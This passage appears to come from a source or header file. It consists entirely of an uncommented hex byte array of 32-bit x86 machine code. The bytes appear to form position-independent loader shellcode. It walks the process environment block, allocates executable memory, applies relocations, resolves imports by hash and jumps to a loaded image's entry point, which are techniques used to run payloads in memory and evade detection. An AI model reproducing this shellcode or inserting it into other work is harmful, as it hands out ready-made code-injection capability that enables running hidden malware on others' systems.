0xff, 0x53, 0x70, 0xff, 0x74, 0x24, 1111 | 0x14, 0x89, 0x44, 0x24, 0x34, 0x55, 0x6a, 0x0c, 0xff, 0x53, 0x78, 0x8b, 0xe8, 0x85, 0xed, 1112 | 0x74, 0x59, 0x33, 0xc9, 0x89, 0x4c, 0x24, 0x10, 0x39, 0x4c, 0x24, 0x14, 0x76, 0x4d, 0x8b, 1113 | 0x7c, 0x24, 0x30, 0xff, 0x34, 0x8f, 0xff, 0x93, 0x8c, 0x00, 0x00, 0x00, 0x6a, 0x08, 0x89, 1114 | 0x44, 0x24, 0x64, 0x58, 0x66, 0x89, 0x44, 0x24, 0x58, 0x8d, 0x44, 0x24, 0x58, 0x50, 0x8d, 1115 | 0x44, 0x24, 0x14, 0x50, 0x55, 0xff, 0x53, 0x7c, 0x8b, 0xf0, 0x85, 0xf6, 0x79, 0x09, 0x55, 1116 | 0xff, 0x93, 0x80, 0x00, 0x00, 0x00, 0x33, 0xed, 0x8b, 0x4c, 0x24, 0x10, 0x41, 0x89, 0x4c, 1117 | 0x24, 0x10, 0x3b, 0x4c, 0x24, 0x14, 0x72, 0xbf, 0x8b, 0x7c, 0x24, 0x34, 0x85, 0xf6, 0x78, 1118 | 0x3b, 0x8b, 0x07, 0x8d, 0x54, 0x24, 0x78, 0x52, 0x55, 0x83, 0xec, 0x10, 0x8d, 0x74, 0x24, 1119 | 0x60, 0x8b, 0x08, 0x8b, 0xfc, 0x6a, 0x00, 0xa5, 0x68, 0x18, 0x01, 0x00, 0x00, 0xa5, 0xa5, 1120 | 0xa5, 0x8b, 0x74, 0x24, 0x44, 0x56, 0x50, 0xff, 0x91, 0xe4, 0x00, 0x00, 0x00, 0x85, 0xed, 1121 | 0x74, 0x07, 0x55, 0xff, 0x93, 0x80, 0x00, 0x00, 0x00, 0x8b, 0x6c, 0x24, 0x20, 0xeb, 0x08, 1122 | 0x8b, 0x6c, 0x24, 0x20, 0x8b, 0x74, 0x24, 0x24, 0x56, 0xff, 0x93, 0x90, 0x00, 0x00, 0x00, 1123 | 0x55, 0xff, 0x93, 0x90, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x40, 0x5f, 0x5e, 0x5d, 0x5b, 0x81, 1124 | 0xc4, 0x7c, 0x02, 0x00, 0x00, 0xc3, 0x81, 0xec, 0x20, 0x02, 0x00, 0x00, 0x53, 0x8b, 0x9c, 1125 | 0x24, 0x28, 0x02, 0x00, 0x00, 0x33, 0xc0, 0x55, 0x8b, 0xac, 0x24, 0x30, 0x02, 0x00, 0x00, 1126 | 0x81, 0xc5, 0x28, 0x05, 0x00, 0x00, 0x89, 0x44, 0x24, 0x1c, 0x57, 0x50, 0x89, 0x6c, 0x24, 1127 | 0x28, 0x8b, 0x7d, 0x3c, 0x03, 0xfd, 0x89, 0x7c, 0x24, 0x20, 0xff, 0x53, 0x38, 0x66, 0x8b, 1128 | 0x4f, 0x04, 0x8b, 0x50, 0x3c, 0x66, 0x3b, 0x4c, 0x02, 0x04, 0x0f, 0x85, 0xea, 0x03, 0x00, 1129 | 0x00, 0x56, 0x6a, 0x40, 0xb8, 0x00, 0x30, 0x00, 0x00, 0xb9, 0x00, 0x10, 0x00, 0x00, 0x50, 1130 | 0x89, 0x44, 0x24, 0x20, 0x8b, 0x47, 0x50, 0x03, 0xc1, 0x50, 0x6a, 0x00, 0xff, 0x53, 0x3c, 1131 | 0x8b, 0xf0, 0x85, 0xf6, 0x0f, 0x84, 0xc2, 0x03, 0x00, 0x00, 0xff, 0x77, 0x54, 0x55, 0x56, 1132 | 0xe8, 0x4c, 0x0c, 0x00, 0x00, 0x0f, 0xb7, 0x6f, 0x14, 0x33, 0xc0, 0x83, 0x64, 0x24, 0x1c, 1133 | 0x00, 0x83, 0xc4, 0x0c, 0x83, 0xc5, 0x2c, 0x66, 0x3b, 0x47, 0x06, 0x73, 0x32, 0x8b, 0x5c, 1134 | 0x24, 0x10, 0x03, 0xef, 0xff, 0x75, 0xfc, 0x8b, 0x45, 0x00, 0x03, 0x44, 0x24, 0x2c, 0x50, 1135 | 0x8b, 0x45, 0xf8, 0x03, 0xc6, 0x50, 0xe8, 0x19, 0x0c, 0x00, 0x00, 0x0f, 0xb7, 0x47, 0x06, 1136 | 0x8d, 0x6d, 0x28, 0x83, 0xc4, 0x0c, 0x43, 0x3b, 0xd8, 0x72, 0xdb, 0x8b, 0x9c, 0x24, 0x34, 1137 | 0x02, 0x00, 0x00, 0x8b, 0x87, 0xa0, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x76, 0x8d, 0x2c, 1138 | 0x30, 0x8b, 0xc6, 0x2b, 0x47, 0x34, 0x83, 0x7d, 0x00, 0x00, 0x89, 0x44, 0x24, 0x10, 0x74, 1139 | 0x64, 0x8d, 0x4d, 0x08, 0xeb, 0x4b, 0x0f, 0xb7, 0x01, 0x8b, 0xd0, 0x25, 0x00, 0xf0, 0x00, 1140 | 0x00, 0x89, 0x54, 0x24, 0x1c, 0x66, 0x3b, 0x44, 0x24, 0x18, 0x75, 0x25, 0x8b, 0xc2, 0x25, 1141 | 0xff, 0x0f, 0x00, 0x00, 0x89, 0x44, 0x24, 0x1c, 0x03, 0x45, 0x00, 0x8b, 0x0c, 0x30, 0x03, 1142 | 0x4c, 0x24, 0x10, 0x8b, 0x44, 0x24, 0x1c, 0x03, 0x45, 0x00, 0x89, 0x0c, 0x30, 0x8b, 0x4c, 1143 | 0x24, 0x14, 0xeb, 0x0e, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x66, 0x3b, 0xd0, 0x0f, 0x83, 0xfb, 1144 | 0x02, 0x00, 0x00, 0x83, 0xc1, 0x02, 0x8b, 0x45, 0x04, 0x03, 0xc5, 0x89, 0x4c, 0x24, 0x14, 1145 | 0x3b, 0xc8, 0x75, 0xa8, 0x83, 0x39, 0x00, 0x8b, 0xe9, 0x75, 0x9c, 0x8b, 0x87, 0x80, 0x00, 1146 | 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xa5, 0x00, 0x00, 0x00, 0x8d, 0x2c, 0x30, 0x8b, 0x45, 1147 | 0x0c, 0x89, 0x6c, 0x24, 0x10, 0x85, 0xc0, 0x0f, 0x84, 0x93, 0x00, 0x00, 0x00, 0x8b, 0xbc, 1148 | 0x24, 0x38, 0x02, 0x00, 0x00, 0x03, 0xc6, 0x50, 0xff, 0x53, 0x30, 0x8b, 0x55, 0x10, 0x89, 1149 | 0x44, 0x24, 0x14, 0x03, 0xd6, 0x8b, 0x45, 0x00, 0x03, 0xc6, 0x89, 0x54, 0x24, 0x18, 0x89, 1150 | 0x44, 0x24, 0x1c, 0x8b, 0x08, 0x85, 0xc9, 0x74, 0x54, 0x8b, 0xea, 0x79, 0x05, 0x0f, 0xb7, 1151 | 0xc1, 0xeb, 0x28, 0x8d, 0x46, 0x02, 0x03, 0xc1, 0x83, 0x7f, 0x04, 0x00, 0x89, 0x44, 0x24, 1152 | 0x18, 0x74, 0x19, 0x50, 0x53, 0xe8, 0xac, 0xf4, 0xff, 0xff, 0x59, 0x59, 0x85, 0xc0, 0x74, 1153 | 0x08, 0x8b, 0x83, 0xe0, 0x00, 0x00, 0x00, 0xeb, 0x0c, 0x8b, 0x44, 0x24, 0x18, 0x50, 0xff, 1154 | 0x74, 0x24, 0x18, 0xff, 0x53, 0x34, 0x89, 0x45, 0x00, 0x83, 0xc5, 0x04, 0x8b, 0x44, 0x24, 1155 | 0x1c, 0x83, 0xc0, 0x04, 0x89, 0x44, 0x24, 0x1c, 0x8b, 0x08, 0x85, 0xc9, 0x75, 0xb2, 0x8b, 1156 | 0x6c, 0x24, 0x10, 0x8b, 0x45, 0x20, 0x83, 0xc5, 0x14, 0x89, 0x6c, 0x24, 0x10, 0x85, 0xc0, 1157 | 0x0f, 0x85, 0x78, 0xff, 0xff, 0xff, 0x8b, 0x7c, 0x24, 0x20, 0x8b, 0x87, 0xe0, 0x00, 0x00, 1158 | 0x00, 0x85, 0xc0, 0x74, 0x77, 0x8d, 0x6e, 0x04, 0x03, 0xe8, 0x89, 0x6c, 0x24, 0x14, 0x8b, 1159 | 0x45, 0x00, 0x85, 0xc0, 0x74, 0x67, 0x03, 0xc6, 0x50, 0xff, 0x53, 0x30, 0x89, 0x44, 0x24, 1160 | 0x10, 0x85, 0xc0, 0x74, 0x47, 0x8b, 0x4d, 0x0c, 0x8b, 0x55, 0x08, 0x03, 0xce, 0x03, 0xd6, 1161 | 0x89, 0x4c, 0x24, 0x18, 0x89, 0x54, 0x24, 0x1c, 0x8b, 0x01, 0x85, 0xc0, 0x74, 0x2f, 0x8b, 1162 | 0xf9, 0x8b, 0xea, 0x8b, 0x4b, 0x34, 0x85, 0xc0, 0x79, 0x05, 0x0f, 0xb7, 0xc0, 0xeb, 0x05, 1163 | 0x83, 0xc0, 0x02, 0x03, 0xc6, 0x50, 0xff, 0x74, 0x24, 0x14, 0xff, 0xd1, 0x83, 0xc7, 0x04, 1164 | 0x89, 0x45, 0x00, 0x83, 0xc5, 0x04, 0x8b, 0x07, 0x85, 0xc0, 0x75, 0xd9, 0x8b, 0x6c, 0x24, 1165 | 0x14, 0x83, 0xc5, 0x20, 0x89, 0x6c, 0x24, 0x14, 0x8b, 0x45, 0x00, 0x85, 0xc0, 0x75, 0x9d, 1166 | 0x8b, 0x7c, 0x24, 0x20, 0x8b, 0xaf, 0xc0, 0x00, 0x00, 0x00, 0x85, 0xed, 0x74, 0x1b, 0x8b, 1167 | 0x6c, 0x2e, 0x0c, 0x85, 0xed, 0x74, 0x13, 0xeb, 0x0a, 0x6a, 0x00, 0x6a, 0x01, 0x56, 0xff, 1168 | 0xd0, 0x8d, 0x6d, 0x04, 0x8b, 0x45, 0x00, 0x85, 0xc0, 0x75, 0xef, 0x8b, 0x84, 0x24, 0x38, 1169 | 0x02, 0x00, 0x00, 0x8b, 0x6f, 0x28, 0x03, 0xee, 0x83, 0x38, 0x03, 0x0f, 0x85, 0x08, 0x01, 1170 | 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x01, 0x56, 0xff, 0xd5, 0x8b, 0x94, 0x24, 0x38, 0x02, 0x00, 1171 | 0x00, 0x81, 0xc2, 0x0c, 0x03, 0x00, 0x00, 0x89, 0x54, 0x24, 0x18, 0x80, 0x3a, 0x00, 0x0f, 1172 | 0x84, 0x55, 0x01, 0x00, 0x00, 0x8b, 0x4f, 0x78, 0x85, 0xc9, 0x0f, 0x84, 0x4a, 0x01, 0x00, 1173 | 0x00, 0x8b, 0x6c, 0x31, 0x18, 0x85, 0xed, 0x0f, 0x84, 0x3e, 0x01, 0x00, 0x00, 0x8b, 0x44, 1174 | 0x31, 0x1c, 0x03, 0xc6, 0x89, 0x44, 0x24, 0x14, 0x8b, 0x44, 0x31, 0x20, 0x8b, 0x4c, 0x31, 1175 | 0x24, 0x03, 0xc6, 0x03, 0xce, 0x89, 0x4c, 0x24, 0x10, 0x8d, 0x04, 0xa8, 0x83, 0xc0, 0xfc, 1176 | 0x89, 0x44, 0x24, 0x20, 0x8b, 0x00, 0x03, 0xc6, 0x52, 0x50, 0xe8, 0xe7, 0x09, 0x00, 0x00, 1177 | 0x59, 0x59, 0x85, 0xc0, 0x74, 0x16, 0x8b, 0x44, 0x24, 0x20, 0x83, 0xe8, 0x04, 0x89, 0x44, 1178 | 0x24, 0x20, 0x83, 0xed, 0x01, 0x74, 0x1c, 0x8b, 0x54, 0x24, 0x18, 0xeb, 0xd9, 0x8b, 0x44, 1179 | 0x24, 0x10, 0x8b, 0x4c, 0x24, 0x14, 0x0f, 0xb7, 0x44, 0x68, 0xfe, 0x8b, 0x04, 0x81, 0x03, 1180 | 0xc6, 0x89, 0x44, 0x24, 0x24, 0xff, 0x77, 0x54, 0x6a, 0x00, 0x56, 0xe8, 0x95, 0x09, 0x00, 1181 | 0x00, 0xff, 0x77, 0x54, 0x6a, 0x00, 0xff, 0x74, 0x24, 0x3c, 0xe8, 0x87, 0x09, 0x00, 0x00, 1182 | 0x8b, 0x44, 0x24, 0x3c, 0x83, 0xc4, 0x18, 0x85, 0xc0, 0x0f, 0x84, 0xb5, 0x00, 0x00, 0x00, 1183 | 0x8b, 0xac, 0x24, 0x38, 0x02, 0x00, 0x00, 0x8d, 0xbd, 0x0c, 0x04, 0x00, 0x00, 0x80, 0x3f, 1184 | 0x00, 0x74, 0x31, 0x8b, 0x8d, 0x0c, 0x05, 0x00, 0x00, 0x85, 0xc9, 0x74, 0x15, 0x8d, 0x44, 1185 | 0x24, 0x2c, 0x50, 0x57, 0x53, 0xe8, 0x99, 0x04, 0x00, 0x00, 0x8b, 0x8d, 0x0c, 0x05, 0x00, 1186 | 0x00, 0x83, 0xc4, 0x0c, 0x85, 0xc9, 0x8d, 0x44, 0x24, 0x2c, 0x0f, 0x44, 0xc7, 0x50, 0x8b, 1187 | 0x44, 0x24, 0x28, 0xff, 0xd0, 0xeb, 0x72, 0xff, 0xd0, 0xeb, 0x6e, 0x05, 0x0c, 0x04, 0x00, 1188 | 0x00, 0x80, 0x38, 0x00, 0x74, 0x1a, 0x8d, 0x4c, 0x24, 0x2c, 0x51, 0x50, 0x53, 0xe8, 0x64, 1189 | 0x04, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x38, 0x50, 0x53, 0xe8, 0x26, 0x02, 0x00, 0x00, 0x83, 1190 | 0xc4, 0x14, 0xff, 0x77, 0x54, 0x6a, 0x00, 0x56, 0xe8, 0x02, 0x09, 0x00, 0x00, 0xff, 0x77, 1191 | 0x54, 0x6a, 0x00, 0xff, 0x74, 0x24, 0x3c, 0xe8, 0xf4, 0x08, 0x00, 0x00, 0x8b, 0x84, 0x24, 1192 | 0x50, 0x02, 0x00, 0x00, 0x33, 0xc9, 0x83, 0xc4, 0x18, 0x39, 0x48, 0x04, 0x74, 0x15, 0x51, 1193 | 0x51, 0x51, 0x55, 0x51, 0x51, 0xff, 0x53, 0x5c, 0x85, 0xc0, 0x74, 0x13, 0x6a, 0xff, 0x50, 1194 | 0xff, 0x53, 0x58, 0xeb, 0x0b, 0x64, 0xa1, 0x18, 0x00, 0x00, 0x00, 0xff, 0x70, 0x30, 0xff, 1195 | 0xd5, 0x68, 0x00, 0xc0, 0x00, 0x00, 0x6a, 0x00, 0x56, 0xff, 0x53, 0x40, 0x5e, 0x5f, 0x5d, 1196 | 0x5b, 0x81, 0xc4, 0x20, 0x02, 0x00, 0x00, 0xc3, 0x81, 0xec, 0xf4, 0x02, 0x00, 0x00, 0x53, 1197 | 0x8b, 0x9c, 0x24, 0xfc, 0x02, 0x00, 0x00, 0x55, 0x56, 0x6a, 0x04, 0x8b, 0x83, 0x18, 0x09, 1198 | 0x00, 0x00, 0x33, 0xf6, 0x68, 0x00, 0x30, 0x00, 0x00, 0x8d, 0x04, 0x45, 0x02, 0x00, 0x00, 1199 | 0x00, 0x50, 0x56, 0xff, 0x53, 0x3c, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0x84, 0x01, 0x00, 1200 | 0x00, 0x8b, 0x84, 0x24, 0x08, 0x03, 0x00, 0x00, 0x8b, 0x88, 0x24, 0x05, 0x00, 0x00, 0x05, 1201 | 0x28, 0x05, 0x00, 0x00, 0x03, 0xc9, 0x51, 0x55, 0x6a, 0xff, 0x50, 0x56, 0x56, 0xff, 0x53, 1202 | 0x50, 0x8d, 0x44, 0x24, 0x58, 0x89, 0x44, 0x24, 0x14, 0x8d, 0x44, 0x24, 0x14, 0x50, 0x53, 1203 | 0xe8, 0xa6, 0xe5, 0xff, 0xff, 0x8d, 0x44, 0x24, 0x4c, 0x89, 0x44, 0x24, 0x24, 0x8d, 0x44, 1204 | 0x24, 0x24, 0x50, 0x53, 0xe8, 0x49, 0xe4, 0xff, 0xff, 0x8d, 0x84, 0x24, 0x94, 0x00, 0x00, 1205 | 0x00, 0x89, 0x44, 0x24, 0x38, 0x8d, 0x44, 0x24, 0x38, 0x50, 0x53, 0xe8, 0x44, 0xee, 0xff, 1206 | 0xff, 0x83, 0xc4, 0x18, 0x56, 0x56, 0xff, 0x93, 0xc4, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 1207 | 0x85, 0xf5, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x0c, 0x50, 0x8d, 0x83, 0x94, 0x06, 0x00, 1208 | 0x00, 0x50, 0x6a, 0x03, 0x56, 0x8d, 0x83, 0x74, 0x06, 0x00, 0x00, 0x50, 0xff, 0x93, 0xc8, 1209 | 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0xd1, 0x00, 0x00, 0x00, 0x8b, 0x4c, 0x24, 0x0c, 1210 | 0x8d, 0x44, 0x24, 0x10, 0x50, 0x8d, 0x83, 0xc4, 0x06, 0x00, 0x00, 0x50, 0x8b, 0x11, 0x51, 1211 | 0xff, 0x12, 0x85, 0xc0, 0x0f, 0x85, 0xa0, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x10, 0x50, 1212 | 0x8b, 0x08, 0xff, 0x51, 0x0c, 0x85, 0xc0, 0x0f, 0x85, 0x84, 0x00, 0x00, 0x00, 0x8b, 0x4c, 1213 | 0x24, 0x0c, 0x8d, 0x54, 0x24, 0x14, 0x89, 0x4c, 0x24, 0x34, 0x52, 0x51, 0x8b, 0x01, 0xff, 1214 | 0x50, 0x0c, 0x85, 0xc0, 0x75, 0x6d, 0x57, 0x8d, 0x84, 0x24, 0x00, 0x01, 0x00, 0x00, 0x50, 1215 | 0x8d, 0x83, 0xe0, 0x05, 0x00, 0x00, 0x50, 0x53, 0xe8, 0xd4, 0x02, 0x00, 0x00, 0x83, 0xc4, 1216 | 0x0c, 0x8d, 0x84, 0x24, 0x00, 0x01, 0x00, 0x00, 0x50, 0xff, 0x93, 0x8c, 0x00, 0x00, 0x00, 1217 | 0x8b, 0x4c, 0x24, 0x10, 0x8b, 0xf8, 0x6a, 0x02, 0x57, 0x51, 0x8b, 0x11, 0xff, 0x52, 0x20, 1218 | 0x57, 0x8b, 0xf0, 0xff, 0x93, 0x90, 0x00, 0x00, 0x00, 0x5f, 0x85, 0xf6, 0x75, 0x27, 0x8b, 1219 | 0x44, 0x24, 0x10, 0x33, 0xf6, 0x56, 0x56, 0x56, 0x8b, 0x08, 0x56, 0x56, 0x56, 0x56, 0x56, 1220 | 0x55, 0x50, 0xff, 0x51, 0x14, 0x85, 0xc0, 0x75, 0x10, 0x8b, 0x44, 0x24, 0x0c, 0x6a, 0x02, 1221 | 0x50, 0x8b, 0x08, 0xff, 0x51, 0x14, 0xeb, 0x02, 0x33, 0xf6, 0x8b, 0x44, 0x24, 0x10, 0x50, 1222 | 0x8b, 0x08, 0xff, 0x51, 0x08, 0x8b, 0x44, 0x24, 0x0c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x1c, 1223 | 0x8b, 0x44, 0x24, 0x0c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0x8b, 0x83, 0x18, 0x09, 0x00, 1224 | 0x00, 0x8d, 0x04, 0x45, 0x02, 0x00, 0x00, 0x00, 0x50, 0x56, 0x55, 0xe8, 0x01, 0x07, 0x00, 1225 | 0x00, 0x83, 0xc4, 0x0c, 0x68, 0x00, 0xc0, 0x00, 0x00, 0x56, 0x55, 0xff, 0x53, 0x40, 0x5e, 1226 | 0x5d, 0x5b, 0x81, 0xc4, 0xf4, 0x02, 0x00, 0x00, 0xc3, 0x81, 0xec, 0x94, 0x00, 0x00, 0x00, 1227 | 0x64, 0xa1, 0x18, 0x00, 0x00, 0x00, 0x53, 0x8b, 0x9c, 0x24, 0x9c, 0x00, 0x00, 0x00, 0x55, 1228 | 0x8b, 0x40, 0x30, 0x56, 0x89, 0x44, 0x24, 0x14, 0x8d, 0x83, 0x4c, 0x03, 0x00, 0x00, 0x57, 1229 | 0x50, 0xff, 0x53, 0x38, 0x8b, 0xf8, 0x33, 0xc0, 0x8b, 0x57, 0x3c, 0x03, 0xd7, 0x0f, 0xb7, 1230 | 0x6a, 0x14, 0x0f, 0xb7, 0x72, 0x06, 0x03, 0xea, 0x8d, 0x4d, 0x18, 0x85, 0xf6, 0x74, 0x12, 1231 | 0x8b, 0x93, 0x44, 0x03, 0x00, 0x00, 0x39, 0x11, 0x74, 0x30, 0x40, 0x83, 0xc1, 0x28, 0x3b, 1232 | 0xc6, 0x72, 0xf4, 0x8b, 0x7c, 0x24, 0x14, 0x8b, 0x74, 0x24, 0x14, 0xff, 0x53, 0x6c, 0x33, 1233 | 0xd2, 0x85, 0xff, 0x74, 0x39, 0x8b, 0xce, 0x8b, 0xe9, 0x89, 0x6c, 0x24, 0x14, 0x39, 0x41, 1234 | 0x04, 0x74, 0x1c, 0x42, 0x83, 0xc1, 0x04, 0x3b, 0xd7, 0x72, 0xed, 0xeb, 0x2a, 0x6b, 0xc0, 1235 | 0x28, 0x8b, 0x74, 0x28, 0x24, 0x03, 0xf7, 0x8b, 0x7c, 0x28, 0x20, 0xc1, 0xef, 0x02, 0xeb, 1236 | 0xce, 0xff, 0xb4, 0x24, 0xac, 0x00, 0x00, 0x00, 0x51, 0xff, 0x93, 0xe8, 0x00, 0x00, 0x00, 1237 | 0xeb, 0x08, 0x8b, 0x6c, 0x24, 0x14, 0x89, 0x6c, 0x24, 0x14, 0xff, 0x53, 0x68, 0x33, 0xc9, 1238 | 0x85, 0xff, 0x74, 0x2d, 0x39, 0x46, 0x04, 0x74, 0x0a, 0x41, 0x83, 0xc6, 0x04, 0x3b, 0xcf, 1239 | 0x72, 0xf3, 0xeb, 0x1e, 0x6a, 0x01, 0x55, 0x8d, 0x44, 0x24, 0x24, 0x50, 0xff, 0x93, 0xd8, 1240 | 0x00, 0x00, 0x00, 0x6a, 0x08, 0x8d, 0x44, 0x24, 0x20, 0x50, 0x56, 0xe8, 0xed, 0x05, 0x00, 1241 | 0x00, 0x83, 0xc4, 0x0c, 0x8b, 0x44, 0x24, 0x18, 0x8b, 0x40, 0x0c, 0x8b, 0x78, 0x0c, 0x83, 1242 | 0x7f, 0x18, 0x00, 0x0f, 0x84, 0x13, 0x01, 0x00, 0x00, 0x8d, 0x83, 0x6c, 0x03, 0x00, 0x00, 1243 | 0x8b, 0xd0, 0x89, 0x54, 0x24, 0x10, 0x8a, 0x02, 0x33, 0xed, 0x83, 0x64, 0x24, 0x18, 0x00, 1244 | 0x45, 0x33, 0xc9, 0x84, 0xc0, 0x0f, 0x84, 0xe1, 0x00, 0x00, 0x00, 0x8d, 0x5c, 0x24, 0x24, 1245 | 0x8b, 0xf2, 0x2b, 0xda, 0x8b, 0xd5, 0x3c, 0x3b, 0x74, 0x29, 0x81, 0xf9, 0x80, 0x00, 0x00, 1246 | 0x00, 0x73, 0x21, 0x3c, 0x77, 0x75, 0x04, 0x33, 0xed, 0xeb, 0x0e, 0x8b, 0xea, 0x3c, 0x70, 1247 | 0x75, 0x08, 0xc7, 0x44, 0x24, 0x18, 0x01, 0x00, 0x00, 0x00, 0x88, 0x04, 0x1e, 0x41, 0x46, 1248 | 0x8a, 0x06, 0x84, 0xc0, 0x75, 0xd1, 0x8b, 0x9c, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x85, 0xc9, 1249 | 0x0f, 0x84, 0x9b, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x10, 0x40, 0xc6, 0x44, 0x0c, 0x24, 1250 | 0x00, 0x03, 0xc1, 0x89, 0x44, 0x24, 0x10, 0x8d, 0x44, 0x24, 0x24, 0x50, 0xff, 0x77, 0x18, 1251 | 0xff, 0x53, 0x34, 0x8b, 0x54, 0x24, 0x10, 0x8b, 0xf0, 0x85, 0xf6, 0x74, 0x81, 0x85, 0xed, 1252 | 0x74, 0x33, 0x83, 0x7c, 0x24, 0x18, 0x00, 0x74, 0x10, 0xff, 0xd6, 0x8b, 0x54, 0x24, 0x10, 1253 | 0x8b, 0xf0, 0x85, 0xf6, 0x0f, 0x84, 0x66, 0xff, 0xff, 0xff, 0xff, 0x36, 0x53, 0xe8, 0x1a, 1254 | 0xef, 0xff, 0xff, 0x8b, 0x54, 0x24, 0x18, 0x59, 0x59, 0x85, 0xc0, 0x0f, 0x84, 0x50, 0xff, 1255 | 0xff, 0xff, 0x8b, 0x44, 0x24, 0x20, 0xeb, 0x34, 0x83, 0x7c, 0x24, 0x18, 0x00, 0x74, 0x10, 1256 | 0xff, 0xd6, 0x8b, 0x54, 0x24, 0x10, 0x8b, 0xf0, 0x85, 0xf6, 0x0f, 0x84, 0x33, 0xff, 0xff, 1257 | 0xff, 0xff, 0x36, 0x53, 0xe8, 0xe7, 0xee, 0xff, 0xff, 0x8b, 0x54, 0x24, 0x18, 0x59, 0x59, 1258 | 0x85, 0xc0, 0x0f, 0x84, 0x1d, 0xff, 0xff, 0xff, 0x8b, 0x44, 0x24, 0x14, 0x8b, 0x40, 0x04, 1259 | 0x8b, 0x54, 0x24, 0x10, 0x89, 0x06, 0xe9, 0x0b, 0xff, 0xff, 0xff, 0x8b, 0x3f, 0x8d, 0x83, 1260 | 0x6c, 0x03, 0x00, 0x00, 0x83, 0x7f, 0x18, 0x00, 0x0f, 0x85, 0xf3, 0xfe, 0xff, 0xff, 0x5f, 1261 | 0x5e, 0x33, 0xc0, 0x5d, 0x40, 0x5b, 0x81, 0xc4, 0x94, 0x00, 0x00, 0x00, 0xc3, 0x8b, 0x44, 1262 | 0x24, 0x0c, 0xc7, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xc2, 0x10, 0x00, 0x8b, 0x44, 1263 | 0x24, 0x04, 0x2b, 0x44, 0x24, 0x08, 0xc3, 0x8b, 0x44, 0x24, 0x04, 0x99, 0xf7, 0x7c, 0x24, 1264 | 0x08, 0xc3, 0x8b, 0x44, 0x24, 0x04, 0x68, 0x00, 0x01, 0x00, 0x00, 0xff, 0x74, 0x24, 0x10, 1265 | 0x6a, 0xff, 0xff, 0x74, 0x24, 0x14, 0x6a, 0x00, 0x6a, 0x00, 0xff, 0x50, 0x50, 0xc3, 0xe8, 1266 | 0x00, 0x00, 0x00, 0x00, 0x58, 0x83, 0xe8, 0x05, 0xc3, 0x55, 0x8b, 0xec, 0x64, 0xa1, 0x18, 1267 | 0x00, 0x00, 0x00, 0x33, 0xc9, 0x56, 0x8b, 0x40, 0x30, 0x8b, 0x40, 0x0c, 0x8b, 0x70, 0x0c, 1268 | 0xeb, 0x20, 0x85, 0xc9, 0x75, 0x23, 0xff, 0x75, 0x18, 0xff, 0x75, 0x14, 0xff, 0x75, 0x10, 1269 | 0xff, 0x75, 0x0c, 0x50, 0xff, 0x75, 0x08, 0xe8, 0x9d, 0xe7, 0xff, 0xff, 0x8b, 0x36, 0x83, 1270 | 0xc4, 0x18, 0x8b, 0xc8, 0x8b, 0x46, 0x18, 0x85, 0xc0, 0x75, 0xd9, 0x8b, 0xc1, 0x5e, 0x5d, 1271 | 0xc3, 0x83, 0xec, 0x14, 0x53, 0x8b, 0x5c, 0x24, 0x24, 0x33, 0xc0, 0x55, 0x56, 0x33, 0xed, 1272 | 0x89, 0x44, 0x24, 0x0c, 0x57, 0x8b, 0x7c, 0x24, 0x2c, 0x33, 0xf6, 0x89, 0x74, 0x24, 0x2c, 1273 | 0x8b, 0x4c, 0x24, 0x28, 0x8a, 0x0c, 0x08, 0x84, 0xc9, 0x74, 0x1a, 0x83, 0xf8, 0x40, 0x74, 1274 | 0x15, 0x88, 0x4c, 0x2c, 0x14, 0x45, 0x40, 0x89, 0x74, 0x24, 0x2c, 0x89, 0x44, 0x24, 0x10, 1275 | 0x83, 0xfd, 0x10, 0x75, 0x6f, 0xeb, 0x54, 0x6a, 0x10, 0x58, 0x2b, 0xc5, 0x8d, 0x74, 0x24, 1276 | 0x14, 0x50, 0x03, 0xf5, 0x6a, 0x00, 0x56, 0xe8, 0xf9, 0x03, 0x00, 0x00, 0x83, 0xc4, 0x0c, 1277 | 0xc6, 0x06, 0x80, 0x83, 0xfd, 0x0c, 0x72, 0x21, 0x53, 0x8d, 0x44, 0x24, 0x18, 0x57, 0x50, 1278 | 0xe8, 0x56, 0x00, 0x00, 0x00, 0x6a, 0x10, 0x33, 0xf8, 0x33, 0xda, 0x8d, 0x44, 0x24, 0x24, 1279 | 0x6a, 0x00, 0x50, 0xe8, 0xd0, 0x03, 0x00, 0x00, 0x83, 0xc4, 0x18, 0x8b, 0x44, 0x24, 0x10, 1280 | 0x8b, 0x74, 0x24, 0x2c, 0xc1, 0xe0, 0x03, 0x46, 0x89, 0x44, 0x24, 0x20, 0x89, 0x74, 0x24, 1281 | 0x2c, 0x53, 0x8d, 0x44, 0x24, 0x18, 0x57, 0x50, 0xe8, 0x21, 0x00, 0x00, 0x00, 0x33, 0xf8, 1282 | 0x83, 0xc4, 0x0c, 0x8b, 0x44, 0x24, 0x10, 0x33, 0xda, 0x33, 0xed, 0x85, 0xf6, 0x0f, 0x84, 1283 | 0x66, 0xff, 0xff, 0xff, 0x8b, 0xc7, 0x8b, 0xd3, 0x5f, 0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x14, 1284 | 0xc3, 0x83, 0xec, 0x10, 0x8b, 0x44, 0x24, 0x18, 0x8b, 0x54, 0x24, 0x1c, 0x53, 0x55, 0x56, 1285 | 0x8b, 0x74, 0x24, 0x20, 0x33, 0xdb, 0x57, 0x8d, 0x7c, 0x24, 0x10, 0xa5, 0xa5, 0xa5, 0xa5, 1286 | 0x8b, 0x4c, 0x24, 0x14, 0x8b, 0x74, 0x24, 0x1c, 0x8b, 0x6c, 0x24, 0x18, 0x8b, 0x7c, 0x24, 1287 | 0x10, 0x89, 0x4c, 0x24, 0x28, 0x8b, 0xce, 0xc1, 0xc8, 